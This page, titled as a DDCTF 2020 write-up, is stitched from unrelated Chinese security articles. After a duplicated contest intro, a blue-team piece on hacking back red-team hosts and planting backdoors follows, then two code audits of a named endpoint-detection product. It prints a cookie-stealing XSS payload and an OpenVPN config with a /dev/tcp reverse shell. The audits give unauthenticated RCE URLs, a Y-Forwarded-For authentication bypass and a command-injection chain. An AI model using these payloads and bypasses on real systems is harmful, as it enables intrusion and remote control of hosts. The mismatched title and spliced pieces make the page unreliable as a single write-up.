DDCTF 2020 Writeup
今年改了赛制, 可以两人组队, 我觉得改的还是不错的, 终于不用现场表演学习逆向和 pwn 了, 成功和 Ary 师傅打到了第三 233
今年改了赛制, 可以两人组队, 我觉得改的还是不错的, 终于不用现场表演学习逆向和 pwn 了, 成功和 Ary 师傅打到了第三 233
网络安全攻防演习在国内已经逐渐常态化,从行业、区域(省份、地市)到部级…
2020年1月份开始到现在可以说基本上每个月都有1-3场HW,红与蓝的对抗从未停息。
红队的攻击技巧可以无穷无尽(扫描器、社工、0day、近源…),但是对于蓝队防守来说除了演习中常规的封IP、下线业务、看日志分析流量等“纯防守”操作以外,似乎实在是没有什么其他的防御手段了。
笔者在参与的几场攻防演习项目中担任“蓝队防守”角色,就发现了这一缺陷,似乎安全防御基础较弱的厂商再怎么充足的进行演习前准备,都只有乖乖的等待被“收割”。
转换一个思维,化被动为主动,尝试用“攻击”思路代入“防守”中,对“红队”进行反向捕获(反制)。
本文将总结案例和“反制”手段,文中不足之处还望各位斧正。
反制手段 蜜罐篇 蜜罐设备大部分厂商为了争取得到一些分数,都会采购/借用一些厂商的蜜罐设备,但蜜罐也分两类:传统、现代,两者从本质上还是有一定区别的,这里我简单说一下自己的理解。
传统蜜罐:蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的防御能力。
现代蜜罐:除了捕获分析攻击行为外,各类安全厂商在蜜罐产品中加入了“攻击者画像”这一功能作为“卖点”,而本质上攻击者画像是将第三方厂商漏洞转为画像探针,利用第三方厂商漏洞获取攻击者所在此类厂商网站业务上的个人信息,此类漏洞多半为前端类漏洞,例如:JSONP、XSS…除此之外还有网站伪造、自动投放蜜标等等众多丰富的功能。
所以传统蜜罐厂商在这一块的被“需要”不大,而现代蜜罐厂商在这一块往往有需要性很多,就冲“攻击者画像”这一方面在演习过程中就可以为防守方加分。
蜜罐的反制现代化蜜罐都做了哪些反制的操作呢?
这样其实一条捕获链就出现了(仅仅是举例,其实更多的是对方在做信息收集的时候探测到了此端口):
蜜罐的一些功能细节不过多赘述,比如利用JavaScript辨别人机、Cookie中种入ID防止切换IP之类的…如有兴趣想深入了解的朋友可以去相关厂商官网下载白皮书观看。
注:在实战演习过程中,仍然有许多攻击者中招,蜜罐会存储身份数据,并且会回传至厂商进行存储。
场景篇 主动攻击“攻击IP”防守日常就是看流量、分析流量,其中大部分都为扫描器流量,由于一般扫描器都会部署在VPS上,因此我们可以结合流量监测平台反向扫描。
导出演习期间攻击IP列表,对IP进行端口扫描,从Web打入攻击IP机器内部。
发现了一堆攻击IP机器上Web服务的漏洞:SQL注入、弱口令…拿下了一堆机器,也发现了大部分都是“被控主机”,而非购买的VPS,上面也大多是一些正常业务、非法业务在运转。
除此之外,我们对所拿下的主机进行信息收集,发现了一个有意思的点,大部分机器为WAMP(Windows + Apache + Mysql + PHP),而根目录都存在着一个文件images.php。
这是一个PHP脚本后门,我们通过分析该PHP文件又拿下数十台机器,对每台机器进行日志收集,分析IP关联性…整理报告上交裁判组判定。
邮件钓鱼反制安全防护基础较好的厂商,一般来说除了出动0day,物理近源渗透以外,最常见的就是邮件钓鱼了,在厂商收到邮件钓鱼的情况下,我们可以采取化被动为主动的方式,假装咬钩,实际上诱导攻击者进入蜜网。
北京时间 2019 年 5 月 15 日微软发布安全补丁修复了 CVE 编号为 CVE-2019-0708 的 Windows 远程桌面服务(RDP)远程代码执行漏洞,该漏洞在不需身份认证的情况下即可远程触发,危害与影响面极大。 受影响操作系统版本: | Windows 7 | Windows Server 2008 R2 | Windows Server 2008 | Windows Server 2003 | Windows XP 由于该漏洞与去年的“Wannacry”勒索病毒具有相同等级的危害,由总行信息科技部研究决定,先推行紧急漏洞加固补丁,确保业务网、办公网全部修补漏洞,详情请阅读加固手册。 加固补丁程序解压密码:xxxx xx信息科技部 xxxxx xxx年xx月xx日在某次演习期间,我们防守的客户单位就收到了钓鱼邮件,庆幸的是客户总体安全意识很强,加上有邮件沙箱的加持,并没有实际人员中招,而我们将计就计,部署一套虚假的内网环境,伪造钓鱼邮件中招假象,中招人员画像和机器环境编排:
名字:许晋 (jinxu)
身份:巡检职员
平时上机内容:看视频、打游戏、巡检
系统软件:Office三件套, 搜狗输入法, QQ, 微信, Xmind, 谷歌浏览器, Winrar, 迅雷, 百度网盘, Everything, 爱奇艺, 腾讯视频, QQ音乐, 网易云音乐, FastStone Capture….
系统环境:除了部署一些常见的系统软件,我们还要创建一系列工作文档(手工伪造、由客户提供非敏感公开数…),并在众多的工作文档中携带了我们部署的免杀后门(伪装成VPN安装包或办公软件)。
目的:点开钓鱼邮件的附件,假装中招后,让攻击者在翻当前PC机器的时候寻找到我们投下的假密码本,并结合VPN安装包,使得攻击者下载VPN安装包并进行安装,从而进行反向控制。
其中具体细节不过多赘述,套路都一样,在多次演习中都成功的反制到了攻击队的VPS,甚至在演习中我们拿下了攻击队的终端PC…
盲打攻击反制盲打攻击算是在演习中比较不常见的了,因为其效率不高,没办法直接的直控权限,但在攻击方穷途末路的时候往往也会选择使用盲打漏洞的方式来获取权限进而深入,比较常见的就属于盲打XSS了。
一般盲打XSS都具备一个数据回传接口(攻击者需要接收Cookie之类的数据),接口在JavaScript代码中是可以寻找到的,我们可以利用数据回传接口做2件事情:
通常选择第二种方式更有意义,当然实在不行的情况下我们还是可以选择捣乱的…
首先,我们获取到了XSS盲打的代码:
'"><sCRiPt sRC=https://XXXX/shX36></sCrIpT>跟进SRC属性对应值(地址),获得如下JavaScript代码:
(function(){(new Image()).src='https://XXXX/xss.php?do=api&id=shX36&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='https://XXXX/xss.php?do=keepsession&id=shX36&url='+escape(document.location)+'&cookie='+escape(document.cookie)};通过该段代码我们可以知道数据都回传到了这个接口上:https://XXXX/xss.php?do=api&id=shX36&location=地址&toplocation=地址&cookie=Cookie信息&opener=
我们制定了一个计划:发送假数据前往攻击者所使用的XSS信息接收平台,诱导攻击者进入蜜罐。
资源准备:公网域名解析蜜罐地址(需要客户网络安全部门具备一定的权利),蜜罐(需要具备蜜罐产品)伪造假后台,并部署虚假准入客户端下载;(【细节】当攻击者Cookie伪造进后台时会提示:当前登录IP不在准入名单)
万事俱备只欠东风,对应参数传入虚假诱导数据(Location地址为查看留言信息的地址,Toplocation为引用该界面的地址,将用户名、密码写入到Cookie中配合“准入客户端”的诱导攻击)发送过去,等待攻击队上钩。
技巧篇技巧篇不过多讲解,懂得自然懂。
虚假备份文件配合蜜罐部署虚假漏洞,例如备份文件(WWW.rar)配合CVE-2018-20250漏洞。
参考:https://github.com/WyAtu/CVE-2018-20250
OpenVPN配置后门OpenVPN配置文件(OVPN文件,是提供给OpenVPN客户端或服务器的配置文件)是可以修改并加入命令的。
OVPN文件最简单的形式如下:
remote 192.168.31.137 ifconfig 10.200.0.2 10.200.0.1 dev tun以上文件表示,客户端会以开放的,不用身份验证或加密方式去连接IP为192.168.31.137的远程服务,在此过程中,会建立一种名为tun的路由模式,用它来在系统不同客户端间执行点对点协议,例如,这里的tun路由模式下,tun客户端为10.200.0.2,tun服务端为10.200.0.1,也就是本地的tun设备地址。这里的三行OVPN配置文件只是一个简单的示例,真正应用环境中的OVPN文件随便都是数百行,其中包含了很多复杂的功能配置。
OpenVPN 配置功能的 up 命令可以使得添加配置文件后执行我们所想让其执行的命令,官方文档中有说明:https://openvpn.net/community-resources/reference-manual-for-openvpn-2-0/
成功启用 TUN/TAP 模式后的 cmd 命令。
该cmd命令中包含了一个脚本程序执行路径和可选的多个执行参数。这种执行路径和参数可由单引号或双引号,或者是反斜杠来强调,中间用空格区分。up命令可用于指定路由,这种模式下,发往VPN另一端专用子网的IP流量会被路由到隧道中去。
本质上,up命令会执行任何你指向的脚本程序。如果受害者使用的是支持/dev/tcp的Bash命令版本,那么在受害者系统上创建一个反弹控制 shell 轻而易举。就如以下OVPN文件中就可创建一个连接到 192.168.31.138:9090 的反弹shell。
remote 192.168.31.137 ifconfig 10.200.0.2 10.200.0.1 dev tun script-security 2 up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.31.138/9090 0<&1 2>&1&'"需要注意的是,up 命令需要成功连接主机才会执行,也就是说192.168.31.137需要真实存在。
兵器漏洞可以尝试挖掘蚁剑、冰蝎、菜刀、BurpSuite、SQLmap、AWVS的0day漏洞(需要一定的技术水平),或利用历史漏洞部署相关环境进行反打,例如蚁剑:https://gitee.com/mirrors/antSword/blob/master/CHANGELOG.md
历史版本中出现诸多XSS漏洞->RCE:
文末只要思维活跃,枯燥无味的一件事情也可以变得生动有趣,生活如此,工作亦如此。
蓝队反制,需要具备这几个条件才能淋漓尽至的挥洒出来:
未来,攻防对抗演习不仅仅是前几年所展示的那样:蓝队只要知道防守手段;而趋势将会慢慢的偏向于真正的攻防,蓝队不仅要会基本的防守手段,还要具备强悍的对抗能力,与红队进行对抗,这对蓝队成员的攻防技术水平也是一种更高的考验。
最后的最后:HACK THE WORLD - TO DO IT.
Reference对某攻击队的Webshell进行分析 - https://gh0st.cn/archives/2019-08-21/1
从OpenVPN配置文件中创建反弹Shell实现用户系统控制 - https://www.freebuf.com/articles/terminal/175862.html
2020年08月17日收到一条漏洞情报,某终端检测响应平台代码未授权RCE:/tool/log/c.php?strip_slashes=system&host=id
参数:host,可以修改任意的系统命令进行执行。
原理分析首先我们跟进一下/tool/log/c.php文件发现其没有任何权限限制,所以我们只需要看一下请求参数是如何传递的,搜索关键词:
$_POST $_GET $_REQUEST在代码第144行、146行分别调用了变量匿名函数,并将$_REQUEST作为传递参数:
$show_form($_REQUEST); ... $main($_REQUEST);先跟进$show_form这个匿名函数:
$show_form = function($params) use(&$strip_slashes, &$show_input) { extract($params); $host = isset($host) ? $strip_slashes($host) : "127.0.0.1"; $path = isset($path) ? $strip_slashes($path) : ""; $row = isset($row) ? $strip_slashes($row) : ""; $limit = isset($limit) ? $strip_slashes($limit) : 1000; // 绘制表单 echo "<pre>"; echo '<form id="studio" name="studio" method="post" action="">'; $show_input(array("title" => "Host ", "name" => "host", "value" => $host, "note" => " - host, e.g. 127.0.0.1")); $show_input(array("title" => "Path ", "name" => "path", "value" => $path, "note" => " - path regex, e.g. mapreduce")); $show_input(array("title" => "Row ", "name" => "row", "value" => $row, "note" => " - row regex, e.g. \s[w|e]\s")); $show_input(array("title" => "Limit", "name" => "limit", "value" => $limit, "note" => " - top n, e.g. 100")); echo '<input type="submit" id="button">'; echo '</form>'; echo "</pre>"; };变量匿名函数 $show_form 具有一个形式参数 $params 在这里也就是array("strip_slashes"=>"system","host"=>"id");
接下来执行extract($params);,后进入如下代码:
$host = isset($host) ? $strip_slashes($host) : "127.0.0.1";在这个过程中就产生了漏洞,想要了解具体原因,我们需要了解extract函数的作用,该函数是根据数组的key=>value创建变量$key=value(官方解释:extract — Import variables into the current symbol table from an array)
知道其函数作用之后,我们就大致明白漏洞原因了。
首先函数传入参数值为array("strip_slashes"=>"system","host"=>"id");
经过extract()函数后,赋值了2个变量:
$strip_slashes = 'system'; $host = 'id';在第91行代码,变量$host利用三元运算重新赋值$strip_slashes($host)
而实际上其赋值内容是函数system('id')的返回结果,这也就造成了命令执行漏洞。
同类漏洞寻找首先在全局文件中搜索$_GET、$_POST、$_REQUEST和extract(,其次在这些文件中使用正则寻找变量函数传递变量:\$[a-zA-Z0-9_]*\(\$[a-zA-Z0-9_]*\)
Linux grep寻找命令:
grep -E "\$_GET|\$_POST|\$_REQUEST" . -r --include \*.php -v | grep "extract(" -v | grep -E "\\\$[a-zA-Z0-9_]*\(\\\$[a-zA-Z0-9_]*\)"简单分析获得了另外三处RCE:
/tool/php_cli.php?strip_slashes=system&code=id /tool/ldb_cli.php?strip_slashes=system&json=id /tool/mdd_sql.php?strip_slashes=system&root=id但无法真正利用,三处文件开头都有一个类似文件存活的判断,不存在代码则die退出,而默认环境上是存在:
最后该套程序还有诸多漏洞未被披露出来,建议采用ACL控制访问或下线该业务,等待官方升级补丁。
前几天收到某终端检测响应平台代码未授权RCE的漏洞情报,基本上被师傅们玩的差不多了,基于其他社群传出的源代码进行代码审计挖掘。
本文不会对太多细节进行描述,仅做一个流程分析和梳理,文中若有不当之处还望各位师傅斧正。
审计流程其源代码的大致目录如下:
. ├── cascade ├── dbint64_to_array.php ├── dbstr_to_int64.php ├── diskio ├── get_auth.php ├── heart_aware.php ├── kill.exe ├── lang ├── ldb ├── ldb.js ├── ldb_collect.php ├── ldb_daemon.php ├── ldb_manage.php ├── ldb_mapreduce.php ├── ldb_master.php ├── ldb_rest.php ├── ldb_rfs.php ├── ldb_stream.php ├── license ├── link_log_second_convert.php ├── locks ├── manage ├── mapreduce ├── mdb ├── mdb.ini ├── mdb_console.php ├── mdb_server.php ├── misc ├── modify_detect_engine_config.php ├── mongo ├── mongo.exe ├── mongo_config ├── mongod ├── mongodump ├── mongoexport ├── mongoexport.exe ├── mongoimport ├── mongoimport.exe ├── mongorestore ├── netshare.bat ├── patch_upgrade_ipc.php ├── php-fpm-start.sh ├── php-trace ├── phptrace ├── platform ├── start.php ├── start.sh ├── start_mongo.sh ├── start_mongo_for_log.sh ├── sync_execute.php ├── timing_update.php ├── unzip ├── update_virusandavscan.php ├── web └── zip其中/web为Web服务目录,文件均可通过HTTP服务进行访问,顾我们从该目录下的文件下手审计。
ldb_mapreduce_invoke 函数分析不是一把梭的0day都不叫0day,寻找能勾起兴趣的文件,发现了它(文件名带有upload)/bin/web/divideUploader.php:
if($_SERVER['REQUEST_METHOD']=="POST"){ //超时开关打开,后台登录时间不刷新 $update = (isset($_POST['auto']) && $_POST['auto'] == AUTO_FLASH_SWITCH) ? false : true; ldb_mapreduce_invoke('call_method','util.common.auth', 'app_auth_check', $update); ... }访问没有做限制,只要HTTP请求类型为POST就进入上传功能代码逻辑流程,三元运算很简单不用看,我们来看下这段代码:
ldb_mapreduce_invoke('call_method','util.common.auth', 'app_auth_check', $update);跟进函数:ldb_mapreduce_invoke,文件:/bin/mapreduce/core.php(line 19):
/* * 全局的mapreduce对象,提供所有map/reduce工作器件的注册和获取接口 */ $ldb_mapreduce = (object)array(); /* * 调用mapduce接口,变参 * @return mix 返回调用接口的返回值 */ function ldb_mapreduce_invoke() { global $ldb_mapreduce; $params = func_get_args(); if (!count($params)) { return false; } //判断参数个数,如果为0则return false; $func = $params[0]; if (!property_exists($ldb_mapreduce, $func)) { return false; } $params[0] = $ldb_mapreduce; return call_user_func($ldb_mapreduce->$func, $params); }接收自定义参数列表:$params = func_get_args();( 该函数以数组形式返回,获取当前函数的所有传入参数值 ),在这就是array('call_method','util.common.auth', 'app_auth_check', $update)
赋值( $params[0] = 'call_method' ) $func,检查 $func 属性是否存在于指定的类( $ldb_mapreduce )中:
$func = $params[0]; if (!property_exists($ldb_mapreduce, $func)) { return false; }最后call_user_func函数回调,调用$ldb_mapreduce->call_method方法,继续跟进此方法( line 239 ):
$ldb_mapreduce->call_method = function ($params) { if (count($params) < 3) { return false; } $object = array_shift($params); $id = array_shift($params); $method = array_shift($params); $object = call_user_func($object->get, array($object, $id)); if (!is_object($object) || !property_exists($object, $method) || !is_callable($object->$method)) { return false; } return call_user_func_array($object->$method, $params); };简单理解,这是一个匿名函数,形参 $params( 在这里也就表示array($ldb_mapreduce, 'util.common.auth', 'app_auth_check', $update) ),判断 $params 数组长度是否小于3,在这里明显不小于,所以继续跟进赋值变量,其一一对应内容为:
$object = array_shift($params); // -> $ldb_mapreduce $id = array_shift($params); // -> util.common.auth $method = array_shift($params); // -> app_auth_check赋值完成之后进入回调函数:$object = call_user_func($object->get, array($object, $id));,调用$ldb_mapreduce->get传入array($object, $id)),接下来继续跟进$ldb_mapreduce->get:
/* * 获取组件 * @param array $params 参数数组,array(对象, 名称) * @return callable 返回组件构造器,如果没有构造器返回null */ $ldb_mapreduce->get = function ($params) use(&$store_root) { //ldb_info("get params: ".json_encode($params)); list($object, $id) = $params; if (!strstr($id, "@")) { $id = "$id@ldb"; } $fields = preg_split("/[\.\\\\\\/]+/", $id); if (!count($fields)) { return null; } $component = $fields[0]; //ldb_info("$component"); $id = implode("/", $fields); list($path, $base) = explode("@", $id); if (!property_exists($object, $component) || !array_key_exists($id, $object->$component)) { if ($base == "ldb") { $php = dirname(__FILE__)."/$path.php"; } else { $php = "$store_root/$base/bin/$path.php"; } if (!file_exists($php)) { return null; } if (!class_exists("Error")) { require_once($php); } else { try { require_once($php); } catch (Error $e) { ldb_die($e); } } //ldb_info("id: ".$id.",component: ".$object->$component); if (!array_key_exists($id, $object->$component)) { ldb_info("! array_key_exists"); return null; } } $components = $object->$component; return $components[$id]; };由于代码过长,很多可以直接在本地调试输出,大概解释下这里的意思,就是将$id = 'util.common.auth';处理变成路径$php = dirname(__FILE__)."/$path.php";,结果就是/bin/mapreduce/util/common/auth.php
接着require_once( 包含 )这个文件,最后将auth.php文件公开的注册接口返回:
至此,我们对ldb_mapreduce_invoke函数的分析就差不多了,最后又是一个call_user_func回调函数调用auth.php接口app_auth_check:
return call_user_func_array($func, $params); app_auth_check 函数分析app_auth_check函数就是检测当前是否具备访问接口权限下,代码如下:
$app_auth_check = function ($update=true) use(&$login_authed_check, &$sess_keyvalue_get, &$timeout_check, &$dc_session_destroy, &$login_redirect, &$super_ip_check){ // 自动化放开权限检查 if (ldb_auto_check()) { return true; } // 如果是后台调用app,则不进行权限检查 if (ldb_is_cli()) { return true; } //如果是通过特权IP登陆,则不需要进行权限检查 $is_super_ip = call_user_func($super_ip_check); if($is_super_ip){ return true; } call_user_func($timeout_check, $update); // 检测是否登录 $login = call_user_func($login_authed_check); if ($login == false) { call_user_func($login_redirect); return false; } // 进行控制台登陆超时检测 /* // app权限检测 $user_auth_info = call_user_func($sess_keyvalue_get, "auth_page_info"); // 检查授权 if (isset($user_auth_info["$page_id"]["auth"])) { $auth = $user_auth_info["$page_id"]["auth"]; if ($auth === true) { return true; } } return false; */ return true; };逐个逻辑跟进分析即可,最后发现特权IP登陆的判断有问题:
$is_super_ip = call_user_func($super_ip_check); if($is_super_ip){ return true; }跟进函数super_ip_check,发现这里获取的了HTTP请求头($_SERVER["HTTP_Y_FORWARDED_FOR"] = Y-Forwarded-For)与$super_ip进行判断:
$super_ip_check = function() use(&$get_super_ip, &$super_user_check){ $super_ip = call_user_func($get_super_ip); $user_addr = $_SERVER["HTTP_Y_FORWARDED_FOR"]; if($user_addr == $super_ip){ return true; } else{ return call_user_func($super_user_check); } };阅读以上代码知道$super_ip是通过回调函数调用get_super_ip的结果,这里还需要再跟进get_super_ip函数:
$get_super_ip = function(){ $super_ip_config = ldb_ext_root()."../../dc/config/cssp_super_ip.ini"; $super_ip = ""; if(file_exists($super_ip_config)){ $super_config_data = parse_ini_file($super_ip_config, true); $super_ip = isset($super_config_data["config"]["super_ip"]) ? $super_config_data["config"]["super_ip"] : ""; } return $super_ip; };在这段代码中我们得知其需要获取cssp_super_ip.ini文件的内容赋值变量$super_ip再进行return $super_ip,但默认环境下该文件不存在的,也就是说变量$super_ip默认就是空的。
那么我们只需要满足$user_addr == $super_ip这个条件,即可绕过这个函数(权限)检测,简而言之就是请求接口时带有请求头Y-Forwarded-For:即可。
漏洞利用继续跟进divideUploader.php发现没办法直接利用(限制了上传路径和后缀):
只能上传指定后缀到指定目录:
全局搜索app_auth_check函数发现/bin/mapreduce/目录下的很多接口都在最开始加了一层app_auth_check函数用来做权限判断,那么我们这时候就差一个接口调用的入口即可未授权调用所有接口了。
只能在/bin/web可直接访问目录下寻找,发现/bin/web/launch.php文件,其文件注释就表明了这个文件是应用程序通用执行入口,可以通过分析的方式构建请求( 由于分析逻辑较简单这里就不带大家过一遍了,可以自自行分析 ),也可以通过前台的方式直接抓到该文件的请求:
POST请求传递JSON数据:
{"opr":"dlogin","app_args":{"name":"app.web.auth.login","options":{}},"data":{"key":175643761}}其对应关系如下
app_args.name - 对应调用的接口文件 opr - 对应调用的公共接口函数 data - 对应公共接口函数逻辑所需的参数这里简单翻了下/bin/mapreduce/目录下的一些接口,根据其判断逻辑构建请求包,这里以获取所有终端列表为例( 未授权 ):
未加Y-Forwarded-For头请求,提示需要登陆:
添加后权限绕过,直接可以获取数据:
最后此漏洞危害可以多接口搭配未授权下发脚本,控制所有植入Agent的服务器权限,影响版本:<3.2.21
吐槽:这套产品的代码逻辑真的太花里胡哨了,逻辑绕来绕去,阅读时可能需要一定耐心,文中省略了一些细节,但我已经尽量写的让大家能明白整个核心逻辑,感谢阅读。
继上一次对某终端检测响应平台权限绕过漏洞的审计流程,现分享对该平台进行代码审计后挖掘到的远程命令执行漏洞。
上篇文章其实采用的是通读代码逻辑的方法进行漏洞挖掘,那么本次我们使用敏感函数回溯的方法(代码审计方法通常分为三类: 通读全文、敏感函数参数回溯、定向功能分析)来进行漏洞挖掘。
审计流程 定位敏感函数前文说到,不是一把梭的0day都不叫0day,所以我们可以对命令执行、代码执行等漏洞相关敏感函数进行全文搜索,敏感函数列表如下 :
exec() passthru() proc_open() shell_exec() system() popen() eval() //非函数 assert() preg_replace()搜索关键词 exec(,发现一处文件 /ldb/dc.php 自定义了命令执行代码,函数体是调用的 exec 函数 :
/** * 执行外部程序 * @param string $command 执行命令 * @param array $output 输出信息 * @param int $ret 返回值 * @return string 返回执行结果 */ function ldb_exec($command, &$output, &$ret) { if (!ldb_is_linux()) { $data = exec($command, $output, $ret); } else { pcntl_signal(SIGCHLD, SIG_DFL); $data = exec($command, $output, $ret); pcntl_signal(SIGCHLD, SIG_IGN); } return $data; } 寻找危险点 /bin/mapreduce/app/web/device_linkage/process_cssp.php exec_slog_action 匿名函数分析如上所述,我们知道了 ldb_exec 函数为自定义命令执行代码,我们想寻找利用点就需要跟踪下该函数在哪被引用,然后分析具体的代码看是否可以利用。
老套路,全局搜索 ldb_exec( 发现有很多处调用了,其中阅读起来较为通俗易懂的为 /bin/mapreduce/app/web/device_linkage/process_cssp.php 的匿名函数 $exec_slog_action :
$exec_slog_action = function($object,$params){ $data = $params["data"]; if (!isset($data["params"])) { ldb_error("required parameter missing params is".json_encode($params)); $object->err_code = EXEC_SLOG_ACTION_PARAM_ERROR; return -1; } $data["params"] = ldb_mapreduce_invoke("call_method", "app.web.common.validation.shell_injection_check", "shell_argv_transform", $data["params"]); $command = "curl -k 'http://127.0.0.1:9081/?".$data["params"]."'"; ldb_debug("exec command: ".$command); ldb_exec($command, $output, $ret); if ($ret !== 0) { ldb_error("exec slog action fail, command: $command, error: ".$output); $object->err_code = EXEC_SLOG_ACTION_FAILED; return -1; } $data = $output; response_linkage_dev_msg(SUCCESS,$data); return 0; };这段代码很容易理解,赋值校验,再过一遍 /bin/mapreduce/app/web/common/validation/shell_injection_check 文件 函数 shell_argv_transform :
// 转义参数 $shell_argv_transform = function($argv) use(&$shell_argv_transform) { $type = strtolower(gettype($argv)); if ($type == "array") { foreach ($argv as $key => $value) { $argv[$key] = $shell_argv_transform($value); } } else if (!is_null($argv) && !empty($argv)) { $argv = escapeshellarg($argv); } return $argv; };这就是一段简单的转义,如果传入的变量 $argv 是数组则遍历进行函数递归最后通过 escapeshellarg 函数转义( 官方释义: escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。 ),如果不是数组则直接进行增加转义。
继续跟进看代码,你会发现 $command = "curl -k 'http://127.0.0.1:9081/?".$data["params"]."'"; 是拼接的,最后经过 ldb_exec 进行命令执行,我们可以使用管道符的方式进行其他命令的注入: |whoami,但这里巧妙的是经过 escapeshellarg 函数处理后注入的命令就变成了 '|whoami',最后执行的命令就变成了: curl -k 'http://127.0.0.1:9081/?'|whoami'',直接帮助我们闭合命令了。
那么我们只需要可以控制 $params['data']['params'] 的值即可进行命令执行。
控制点寻找 /bin/web/dev_linkage_launch.php get_opr 函数分析由于 /bin/mapreduce/ 下的文件,我们没办法直接访问调用就需要全局搜索 exec_slog_action 看下谁调用了这段代码,发现文件 /bin/web/dev_linkage_launch.php( 此处应感觉到兴奋,毕竟我们能访问的路径就是 /bin/web/ ) 有一处可疑函数体( 函数 get_opr ) :
function get_opr($req_url){ ... //CSSP请求 if($req_url === STD_CSSP_EXEC_SLOG_ACTION_URL ){ return EXEC_SLOG_ACTION; } ... //检查url的合法性 if($req_url !== AGENT_INFO_URL && $req_url !== SCAN_ABOUT_URL && $req_url !== EDR_INFO_ABOUT_URL && $req_url !== EVIDENCE_INFO_URL){ ldb_error("no response about this url :".$req_url); throw new Exception(ldb_get_lang("NO_RESPONSE_ABOUT_THIS_URL")); } //获取url中的参数 $url_params = get_url_param(); $method = $url_params[METHOD]; global $opr_arr; if(isset($opr_arr[$method])){ $opr = $opr_arr[$method]; } else{//无此url的响应 ldb_error("no response about this url: " .$req_url); throw new Exception(ldb_get_lang("NO_RESPONSE_ABOUT_THIS_URL")); } return $opr; }判断变量 $req_url 值是否与常量 STD_CSSP_EXEC_SLOG_ACTION_URL 值一致,一致则返回常量 EXEC_SLOG_ACTION,最后如果请求的地址非常量中定义的,则进行URL判断合法性( 我们没办法直接访问 dev_linkage_launch.php )。
我们先看常量 STD_CSSP_EXEC_SLOG_ACTION_URL 对应值,直接看代码开头包含了哪些文件即可 :
最终发现 /bin/mapreduce/app/web/device_linkage/common/common.php 中定义了常量 :
define("STD_CSSP_EXEC_SLOG_ACTION_URL","/api/edr/sangforinter/v2/cssp/slog_client"); define("EXEC_SLOG_ACTION","exec_slog_action");知道了这些常量的定义,大致就明白了,( 猜测 )当我们访问 /api/edr/sangforinter/v2/cssp/slog_client 时,函数 get_opr 返回 exec_slog_action,也就是我们之前所发现存在安全风险的函数,这也仅仅是猜测,但想要证实这个猜测,我们就得啃一啃文件 /bin/web/dev_linkage_launch.php。
get_interface_data 函数分析我们已经知道了函数 get_opr 的作用( 返回接口方法 ),来看看在文件中的哪里被调用,发现一处调用 :
function get_interface_data($argv) { //获取url $req_url = $_SERVER['PHP_SELF']; //校验token check_token($req_url); //构造opr $opr = get_opr($req_url); //根据方法构造业务代码路径 $app_name = get_app_name($opr); $data = array(); if($_SERVER['REQUEST_METHOD'] == 'POST'){ $data = get_body_data($argv); } //根据opr、app_name以及data构造数据 $interface_data = array(); $interface_data["app_args"]["name"] = $app_name; $interface_data["opr"] = $opr; if($_SERVER['REQUEST_METHOD'] == 'POST'){ $interface_data["data"] = $data; } return $interface_data; }函数 get_interface_data 调用了函数 get_opr,传递参数值为 $req_url = $_SERVER['PHP_SELF'];,也就是请求的 URI ( 例如请求地址为 http://localhost/chen.php 那么 $_SERVER['PHP_SELF'] 的值即为 /chen.php )。
注:这里证实了我们在分析 get_opr 函数时的猜测,请求的地址必须为 /bin/mapreduce/app/web/device_linkage/common/common.php 文件中定义常量的地址,不能为 dev_linkage_launch.php。
那么想要进入调用函数 get_opr 的逻辑,我们需要先了解下函数 get_interface_data 的逻辑,在此之前我们需要确保自己不会做无用功,所以需要看下函数 get_interface_data 是否在上下文代码中被调用 :
该函数直接被入口函数调用,那么我们接下来就可以分析下该函数逻辑,根据注释我们了解到这里会校验token,也就是函数 check_token。
check_token 绕过跟进函数 check_token,其代码如下 :
/** * @func 检验token * @param string $req_url 联动的url * @throws Exception */ function check_token($req_url){ //CSSP接口使用特权IP的方式进行校验 if (strpos($req_url, STD_CSSP_REQUEST_URL_PREFIX) !== false && $req_url != STD_CSSP_SET_KEY_URL) { parse_str($_SERVER['QUERY_STRING'],$query_str_parsed); if(!isset($query_str_parsed[TOKEN])) { throw new Exception(ldb_get_lang("THIS_OPERATION_NEED_TOKEN")); } $ret = check_access_token($query_str_parsed[TOKEN], $req_url); if ($ret == 1) { response_linkage_dev_msg(CSSP_TOKEN_AUTH_FAILED); die(); } } //判断url 需不需要进行校验token if($req_url == AGENT_INFO_URL || $req_url == SCAN_ABOUT_URL || $req_url == EDR_INFO_ABOUT_URL || $req_url == EVIDENCE_INFO_URL){ //校验token $url_params = get_url_param(); $ret = token_valid($url_params[TOKEN]); if($ret){ response_linkage_dev_msg($ret); die(); } } }简单理解就是获取所有请求参数,并获取参数 token 的值带入函数 check_access_token,最后的返回结果不为 1 即可成功验证token,我们继续跟进该函数,文件 /bin/web/ui/php/platform.php :
/** * 检验cssp请求的token * @return 0/1 成功/失败 */ function check_access_token($access_token, $req_url){ $token_str = base64_decode($access_token); $json_token = json_decode($token_str, true); $key = get_item_from_os_json("privateKey"); if($key == "" && $req_url == STD_CSSP_DOWN_CONF_URL) { $key = STD_CSSP_DEFAULT_KEY; } $md5_str = md5($key.$json_token["random"]); if($md5_str == $json_token["md5"]) { return 0; } ldb_error("check token failed"); return 1; }参数 token 的值需要经过Base64解码、JSON转换( 将JSON转为数组 ),最后字段 random 与变量 $key 拼接进行md5加密的值与字段 md5 一样则可以进入 return 0; 否则就是 return 1;( 我们就需要返回为0才可过token验证 )。
那在这我们需要知道变量 $key 是怎么样获取到的,跟进函数 get_item_from_os_json :
